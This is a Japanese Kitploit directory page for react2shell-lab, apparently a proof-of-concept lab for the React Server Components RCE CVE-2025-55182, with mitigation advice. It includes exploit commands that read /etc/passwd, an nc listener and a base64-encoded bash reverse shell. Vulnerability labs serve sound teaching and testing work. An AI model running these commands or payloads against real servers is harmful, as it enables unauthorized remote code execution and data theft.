Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
react2shell-lab — CVE-2025-55182 React2Shell PoC ラボ | Kitploit
ツール/GitHubGitHub/alsaut1/react2shell-lab
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用CTFペネトレーションテスト学習と教育リモートアクセスツールペイロード開発ラボと実践
GitHubalsaut1/react2shell-lab

react2shell-lab

749ヶ月前未レビュー

CVE-2025-55182 React2Shell PoC ラボ

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

React2Shell - CVE-2025-55182 ラボ

React Server Components における重大な脆弱性 CVE-2025-55182 を実演・テストするための包括的なラボです。

⚠️ 教育目的のみ

このリポジトリは以下の用途を意図しています:

  • セキュリティ研究と教育
  • 脆弱性メカニズムの理解
  • 自身のシステムでのテスト
  • バグバウンティハンティングの準備

所有していない、または明示的なテスト許可がないシステムに対して使用しないでください。不正アクセスは違法です。

🔴 脆弱性の詳細

  • CVE ID: CVE-2025-55182
  • CVSS スコア: 10.0 (緊急)
  • タイプ: 未認証のリモートコード実行 (RCE)
  • 影響を受けるコンポーネント:
    • React 19.0.0 - 19.2.0
    • Next.js 15.x - 16.x
  • 根本原因: React Server Components の "Flight" プロトコルにおける安全でないデシリアライゼーション

⚡ 機能

✅ 認証なしで任意のコマンドを実行
✅ システムファイルの読み取り
✅ ファイルの作成と変更
✅ リバースシェル接続の確立
✅ サーバーの完全制御を達成

🚀 クイックスタート

1. インストール

root@kitploit:~
npm install --legacy-peer-deps
npm run dev

サーバーは http://localhost:3000 で起動します。

ツールをダウンロード

2. 脆弱性の確認

root@kitploit:~
bash check-cve.sh

3. エクスプロイトの実行

root@kitploit:~
cd exploit
python3 rce_final.py "whoami"
python3 rce_final.py "id > /tmp/id.txt &"
python3 rce_final.py "cat /etc/passwd > /tmp/passwd.txt &"

4. リバースシェル

root@kitploit:~
# Terminal 1 - Listener
nc -lvnp 4444

# Terminal 2 - Exploit
python3 rce_final.py "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx | base64 -d | bash &"

📁 プロジェクト構成

root@kitploit:~
├── app/              # Vulnerable Next.js application
├── exploit/          # Working PoC exploit
│   └── rce_final.py  # Main exploit script
├── check-cve.sh      # Automated vulnerability checker
├── package.json      # Vulnerable dependencies
└── README.md

🔧 技術詳細

この脆弱性は、React Server Components のペイロードのデシリアライゼーションロジックに存在します。このエクスプロイトはプロトタイプ汚染を利用して、process.mainModule.require('child_process').execSync() を介して任意のコードを実行します。

攻撃フロー

  1. 悪意のあるマルチパートフォームデータを作成
  2. 脆弱な React アプリケーションに送信
  3. "Flight" プロトコルの安全でないデシリアライゼーションを悪用
  4. サーバー上で RCE を達成

📊 影響

  • 機密性: 高 (任意のファイルの読み取り)
  • 完全性: 高 (ファイルの変更/作成)
  • 可用性: 高 (サービス拒否コマンドの実行)

✅ 緩和策

  1. React を 19.2.1 以降にアップデート
  2. Next.js を 15.0.5+ または 16.0.7+ にアップデート
  3. Web アプリケーションファイアウォール (WAF) ルールを導入
  4. サーバーログを監視して悪用試行を検出
  5. ランタイム保護メカニズムを使用

📚 参考文献

  • react2shell.com
  • CVE-2025-55182 詳細
  • React セキュリティアドバイザリ
  • CVSS 計算機

⚖️ 法的免責事項

このコードは教育および許可されたセキュリティテストの目的のみで提供されます。ユーザーは、システムをテストする前に適切な許可を得ていることを確認する責任があります。コンピュータシステムへの不正アクセスは、米国コンピュータ詐欺及び不正使用防止法 (CFAA) やその他の管轄区域の類似法規の下で違法です。

著者は、この情報の誤用に対する一切の責任を負いません。

🎓 学習成果

このラボを学習した後、以下のことを理解できるようになります:

  • 安全でないデシリアライゼーションの脆弱性がどのように動作するか
  • プロトタイプ汚染攻撃の手法
  • React Server Components のアーキテクチャ
  • RCE の悪用方法
  • 適切な脆弱性開示の慣行